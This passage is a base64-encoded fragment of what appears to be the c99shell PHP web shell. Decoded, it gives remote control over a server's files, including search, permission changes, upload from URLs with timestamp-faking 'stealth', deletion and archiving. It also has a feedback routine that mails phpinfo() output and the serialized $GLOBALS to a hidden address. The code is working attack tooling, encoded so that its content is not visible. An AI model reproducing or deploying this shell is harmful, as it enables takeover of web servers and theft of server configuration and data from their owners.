GU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1cIiIuJHJuZC4iXCI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1Ym1pdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJZRVNcIj48L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAidXBkYXRlIikgeyRyZXQgPSBjOTlzaF9nZXR1cGRhdGUoISEkY29uZmlybXVwZGF0ZSk7IGVjaG8gIjxiPiIuJHJldC4iPC9iPiI7IGlmIChzdHJpc3RyKCRyZXQsIm5ldyB2ZXJzaW9uIikpIHtlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPVwibG9jYXRpb24uaHJlZj0nIi4kc3VybC4iYWN0PXVwZGF0ZSZjb25maXJtdXBkYXRlPTEnO1wiIHZhbHVlPVwiVXBkYXRlIG5vd1wiPiI7fX0NCmlmICgkYWN0ID09ICJmZWVkYmFjayIpDQp7DQogJHN1cHBtYWlsID0gYmFzZTY0X2RlY29kZSgiWXprNWMyaGxiR3hBWTJOMFpXRnRMbkoxIik7DQogaWYgKCFlbXB0eSgkc3VibWl0KSkNCiB7DQogICR0aWNrZXQgPSBzdWJzdHIobWQ1KG1pY3JvdGltZSgpK3JhbmQoMSwxMDAwKSksMCw2KTsNCiAgJGJvZHkgPSAiYzk5c2hlbGwgdi4iLiRzaHZlci4iIGZlZWRiYWNrICMiLiR0aWNrZXQuIlxuTmFtZTogIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpLiJcbkUtbWFpbDogIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKS4iXG5NZXNzYWdlOlxuIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpLiJcblxuSVA6ICIuJFJFTU9URV9BRERSOw0KICBpZiAoIWVtcHR5KCRmZGJrX3JlZikpDQogIHsNCiAgICR0bXAgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICBvYl9jbGVhbigpOw0KICAgcGhwaW5mbygpOw0KICAgJHBocGluZm8gPSBiYXNlNjRfZW5jb2RlKG9iX2dldF9jb250ZW50cygpKTsNCiAgIG9iX2NsZWFuKCk7DQogICBlY2hvICR0bXA7DQogICAkYm9keSAuPSAiXG4iLiJwaHBpbmZvKCk6ICIuJHBocGluZm8uIlxuIi4iXCRHTE9CQUxTPSIuYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJEdMT0JBTFMpKS4iXG4iOw0KICB9DQogIG1haWwoJHN1cHBtYWlsLCJjOTlzaGVsbCB2LiIuJHNodmVyLiIgZmVlZGJhY2sgIyIuJHRpY2tldCwkYm9keSwiRlJPTTogIi4kc3VwcG1haWwpOw0KICBlY2hvICI8Y2VudGVyPjxiPlRoYW5rcyBmb3IgeW91ciBmZWVkYmFjayEgWW91ciB0aWNrZXQgSUQ6ICIuJHRpY2tldC4iLjwvYj48L2NlbnRlcj4iOw0KIH0NCiBlbHNlIHtlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+PGI+RmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIi5zdHJfcmVwbGFjZShhcnJheSgiQCIsIi4iKSxhcnJheSgiW2F0XSIsIltkb3RdIiksJHN1cHBtYWlsKS4iKTo8YnI+PGJyPllvdXIgbmFtZTogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZkYmtfbmFtZVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpLiJcIj48YnI+PGJyPllvdXIgZS1tYWlsOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19lbWFpbFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKS4iXCI+PGJyPjxicj5NZXNzYWdlOjxicj48dGV4dGFyZWEgbmFtZT1cImZkYmtfYm9keVwiIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfYm9keSkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmRia19yZWZcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRIVFRQX1JFRkVSRVIpLiJcIj48YnI+PGJyPkF0dGFjaCBzZXJ2ZXItaW5mbyAqIDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZmRia19zZXJ2aW5mXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPlRoZXJlIGFyZSBubyBjaGVja2luZyBpbiB0aGUgZm9ybS48YnI+PGJyPiogLSBzdHJvbmdseSByZWNvbW1lbmRlZCwgaWYgeW91IHJlcG9ydCBidWcsIGJlY2F1c2Ugd2UgbmVlZCBpdCBmb3IgYnVnLWZpeC48YnI+PGJyPldlIHVuZGVyc3RhbmQgbGFuZ3VhZ2VzOiBFbmdsaXNoLCBSdXNzaWFuLjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJTZW5kXCI+PC9mb3JtPiI7fQ0KfQ0KaWYgKCRhY3QgPT0gInNlYXJjaCIpDQp7DQogZWNobyAiPGI+U2VhcmNoIGluIGZpbGUtc3lzdGVtOjwvYj48YnI+IjsNCiBpZiAoZW1wdHkoJHNlYXJjaF9pbikpIHskc2VhcmNoX2luID0gJGQ7fQ0KIGlmIChlbXB0eSgkc2VhcmNoX25hbWUpKSB7JHNlYXJjaF9uYW1lID0gIiguKikiOyAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTt9DQogaWYgKGVtcHR5KCRzZWFyY2hfdGV4dF93d28pKSB7JHNlYXJjaF90ZXh0X3JlZ2V4cCA9IDA7fQ0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICAkZm91bmQgPSBhcnJheSgpOw0KICAkZm91bmRfZCA9IDA7DQogICRmb3VuZF9mID0gMDsNCiAgJHNlYXJjaF9pX2YgPSAwOw0KICAkc2VhcmNoX2lfZCA9IDA7DQogICRhID0gYXJyYXkNCiAgKA0KICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsDQogICAidGV4dCI9PiRzZWFyY2hfdGV4dCwgInRleHRfcmVnZXhwIj0+JHNlYXJjaF90ZXh0X3JlZ3hwLA0KICAgInRleHRfd3dvIj0+JHNlYXJjaF90ZXh0X3d3bywNCiAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLA0KICAgInRleHRfbm90Ij0+JHNlYXJjaF90ZXh0X25vdA0KICApOw0KICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOw0KICAkaW4gPSBhcnJheV91bmlxdWUoZXhwbG9kZSgiOyIsJHNlYXJjaF9pbikpOw0KICBmb3JlYWNoKCRpbiBhcyAkdikge2M5OWZzZWFyY2goJHYpO30NCiAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsNCiAgaWYgKGNvdW50KCRmb3VuZCkgPT0gMCkge2VjaG8gIjxiPk5vIGZpbGVzIGZvdW5kITwvYj4iO30NCiAgZWxzZQ0KICB7DQogICAkbHNfYXJyID0gJGZvdW5kOw0KICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgJGFjdCA9ICJscyI7DQogIH0NCiB9DQogZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCIiLiRkc3BhY3QuIlwiPg0KPGI+U2VhcmNoIGZvciAoZmlsZS9mb2xkZXIgbmFtZSk6IDwvYj48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VhcmNoX25hbWVcIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9uYW1lKSsyNSkuIlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfbmFtZSkuIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF9uYW1lX3JlZ2V4cCA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gcmVnZXhwDQo8YnI+PGI+U2VhcmNoIGluIChleHBsb2RlIFwiO1wiKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfaW5cIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKS4iXCI+DQo8YnI+PGJyPjxiPlRleHQ6PC9iPjxicj48dGV4dGFyZWEgbmFtZT1cInNlYXJjaF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX3RleHQpLiI8L3RleHRhcmVhPg0KPGJyPjxicj48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cA0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQ0KJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9jc1wiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9jcyA9PSAxPyIgY2hlY2tlZCI6IiIpLiI+IC0gY2FzPHU+ZTwvdT4gc2Vuc2l0aXZlDQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X25vdFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfdGV4dF9ub3QgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIGZpbmQgZmlsZXMgPHU+Tk9UPC91PiBjb250YWluaW5nIHRoZSB0ZXh0DQo8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOw0KIGlmICgkYWN0ID09ICJscyIpIHskZHNwYWN0ID0gJGFjdDsgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Yj5TZWFyY2ggdG9vayAiLiRzZWFyY2h0aW1lLiIgc2VjcyAoIi4kc2VhcmNoX2lfZi4iIGZpbGVzIGFuZCAiLiRzZWFyY2hfaV9kLiIgZm9sZGVycywgIi5yb3VuZCgoJHNlYXJjaF9pX2YrJHNlYXJjaF9pX2QpLyRzZWFyY2h0aW1lLDQpLiIgb2JqZWN0cyBwZXIgc2Vjb25kKS48L2I+PGJyPjxicj4iO30NCn0NCmlmICgkYWN0ID09ICJjaG1vZCIpDQp7DQogJG1vZGUgPSBmaWxlcGVybXMoJGQuJGYpOw0KIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30NCiBlbHNlDQogew0KICAkZm9ybSA9IFRSVUU7DQogIGlmICgkY2htb2Rfc3VibWl0KQ0KICB7DQogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7DQogICBpZiAoY2htb2QoJGQuJGYsJG9jdGV0KSkgeyRhY3QgPSAibHMiOyAkZm9ybSA9IEZBTFNFOyAkZXJyID0gIiI7fQ0KICAgZWxzZSB7JGVyciA9ICJDYW4ndCBjaG1vZCB0byAiLiRvY3RldC4iLiI7fQ0KICB9DQogIGlmICgkZm9ybSkNCiAgew0KICAgJHBlcm1zID0gcGFyc2VfcGVybXMoJG1vZGUpOw0KICAgZWNobyAiPGI+Q2hhbmdpbmcgZmlsZS1tb2RlICgiLiRkLiRmLiIpLCAiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiIgKCIuc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJGQuJGYpKSwtNCw0KS4iKTwvYj48YnI+Ii4oJGVycj8iPGI+RXJyb3I6PC9iPiAiLiRlcnI6IiIpLiI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZikuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIuKCRwZXJtc1sibyJdWyJyIl0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtSZWFkPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y2htb2Rfb1t3XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInciXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1t4XSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bIngiXT8iIGNoZWNrZWQiOiIiKS4iPmVYZWN1dGU8L3RkPjx0ZD48Yj5Hcm91cDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJnIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3ddIHZhbHVlPTEiLigkcGVybXNbImciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3hdIHZhbHVlPTEiLigkcGVybXNbImciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfd1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJ3Il1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3ddIHZhbHVlPTEiLigkcGVybXNbInciXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3hdIHZhbHVlPTEiLigkcGVybXNbInciXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1jaG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiI7DQogIH0NCiB9DQp9DQppZiAoJGFjdCA9PSAidXBsb2FkIikNCnsNCiAkdXBsb2FkbWVzcyA9ICIiOw0KICR1cGxvYWRwYXRoID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsNCiBpZiAoZW1wdHkoJHVwbG9hZHBhdGgpKSB7JHVwbG9hZHBhdGggPSAkZDt9DQogZWxzZWlmIChzdWJzdHIoJHVwbG9hZHBhdGgsLTEpICE9ICIvIikgeyR1cGxvYWRwYXRoIC49ICIvIjt9DQogaWYgKCFlbXB0eSgkc3VibWl0KSkNCiB7DQogIGdsb2JhbCAkSFRUUF9QT1NUX0ZJTEVTOw0KICAkdXBsb2FkZmlsZSA9ICRIVFRQX1BPU1RfRklMRVNbInVwbG9hZGZpbGUiXTsNCiAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpDQogIHsNCiAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07fQ0KICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQ0KICAgaWYgKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0sJHVwbG9hZHBhdGguJGRlc3RpbikpIHskdXBsb2FkbWVzcyAuPSAiRXJyb3IgdXBsb2FkaW5nIGZpbGUgIi4kdXBsb2FkZmlsZVsibmFtZSJdLiIgKGNhbid0IGNvcHkgXCIiLiR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLiJcIiB0byBcIiIuJHVwbG9hZHBhdGguJGRlc3Rpbi4iXCIhPGJyPiI7fQ0KICB9DQogIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKQ0KICB7DQogICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30NCiAgIGVsc2UNCiAgIHsNCiAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7DQogICAgJGRlc3RpbiA9ICRkZXN0aW5bY291bnQoJGRlc3RpbiktMV07DQogICAgaWYgKGVtcHR5KCRkZXN0aW4pKQ0KICAgIHsNCiAgICAgJGkgPSAwOw0KICAgICAkYiA9ICIiOw0KICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4kZGVzdGluKSkge2lmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9ICRkZXN0aW4gPSAiaW5kZXgiLiRiLiIuaHRtbCI7ICRpKys7fX0NCiAgIH0NCiAgIGlmICgoIWVyZWdpKCJodHRwOi8vIiwkdXBsb2FkdXJsKSkgYW5kICghZXJlZ2koImh0dHBzOi8vIiwkdXBsb2FkdXJsKSkgYW5kICghZXJlZ2koImZ0cDovLyIsJHVwbG9hZHVybCkpKSB7ZWNobyAiPGI+SW5jb3JlY3QgdXJsITwvYj48YnI+Ijt9DQogICBlbHNlDQogICB7DQogICAgJHN0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7DQogICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOw0KICAgIGlmICghJGNvbnRlbnQpIHskdXBsb2FkbWVzcyAuPSAgIkNhbid0IGRvd25sb2FkIGZpbGUhPGJyPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJHVwbG9hZHBhdGguJGRlc3Rpbik7fQ0KICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7DQogICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgZndyaXRlKCRmcCwkY29udGVudCxzdHJsZW4oJGNvbnRlbnQpKTsNCiAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCR1cGxvYWRwYXRoLiRkZXN0aW4sJHN0YXRbOV0sJHN0YXRbOF0pO30NCiAgICAgfQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBpZiAoJG1pbmlmb3JtKQ0KIHsNCiAgZWNobyAiPGI+Ii4kdXBsb2FkbWVzcy4iPC9iPiI7DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlDQogew0KICBlY2hvICI8Yj5GaWxlIHVwbG9hZDo8L2I+PGJyPjxiPiIuJHVwbG9hZG1lc3MuIjwvYj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPg0KU2VsZWN0IGZpbGUgb24geW91ciBsb2NhbCBjb21wdXRlcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRmaWxlXCIgdHlwZT1cImZpbGVcIj48YnI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3I8YnI+DQpJbnB1dCBVUkw6IDxpbnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+PGJyPjxicj4NClNhdmUgdGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj4NCkZpbGUtbmFtZSAoYXV0by1maWxsKTogPGlucHV0IG5hbWU9dXBsb2FkZmlsZW5hbWUgc2l6ZT0yNT48YnI+PGJyPg0KPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4mbmJzcDtjb252ZXJ0IGZpbGUgbmFtZSB0byBsb3ZlcmNhc2U8YnI+PGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+DQo8L2Zvcm0+IjsNCiB9DQp9DQppZiAoJGFjdCA9PSAiZGVsZXRlIikNCnsNCiAkZGVsZXJyID0gIiI7DQogZm9yZWFjaCAoJGFjdGJveCBhcyAkdikNCiB7DQogICRyZXN1bHQgPSBGQUxTRTsNCiAgJHJlc3VsdCA9IGZzX3Jtb2JqKCR2KTsNCiAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30NCiB9DQogaWYgKCFlbXB0eSgkZGVsZXJyKSkge2VjaG8gIjxiPkRlbGV0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kZGVsZXJyO30NCiAkYWN0ID0gImxzIjsNCn0NCmlmICghJHVzZWZzYnVmZikNCnsNCiBpZiAoKCRhY3QgPT0gInBhc3RlIikgb3IgKCRhY3QgPT0gImNvcHkiKSBvciAoJGFjdCA9PSAiY3V0Iikgb3IgKCRhY3QgPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZUZTYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9DQp9DQplbHNlDQp7DQogaWYgKCRhY3QgPT0gImNvcHkiKSB7JGVyciA9ICIiOyAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJGFjdGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7IH0NCiBlbHNlaWYgKCRhY3QgPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30NCiBlbHNlaWYgKCRhY3QgPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQ0KIGlmICgkYWN0ZW1wdHlidWZmKSB7JHNlc3NfZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7fQ0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikNCiB7DQogICRwc3RlcnIgPSAiIjsNCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIGlmICgkY29weV91bnNldCkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO30NCiAgfQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0KICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOw0KICAgaWYgKCFmc19tb3ZlX29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9DQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOw0KICB9DQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsNCiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQ0KICAkYWN0ID0gImxzIjsNCiB9DQogZWxzZWlmICgkYWN0YXJjYnVmZikNCiB7DQogICRhcmNlcnIgPSAiIjsNCiAgaWYgKHN1YnN0cigkYWN0YXJjYnVmZl9wYXRoLC03LDcpID09ICIudGFyLmd6IikgeyRleHQgPSAiLnRhci5neiI7fQ0KICBlbHNlIHskZXh0ID0gIi50YXIuZ3oiO30NCiAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKSB7JGNtZGxpbmUgPSAidGFyIGNmenYiO30NCiAgJGNtZGxpbmUgLj0gIiAiLiRhY3RhcmNidWZmX3BhdGg7DQogICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgZm9yZWFjaCgkb2JqZWN0cyBhcyAkdikNCiAgew0KICAgJHYgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHYpOw0KICAgaWYgKHN1YnN0cigkdiwwLHN0cmxlbigkZCkpID09ICRkKSB7JHYgPSBiYXNlbmFtZSgkdik7fQ0KICAgaWYgKGlzX2RpcigkdikpDQogICB7DQogICAgaWYgKHN1YnN0cigkdiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICR2IC49ICIqIjsNCiAgIH0NCiAgICRjbWRsaW5lIC49ICIgIi4kdjsNCiAgfQ0K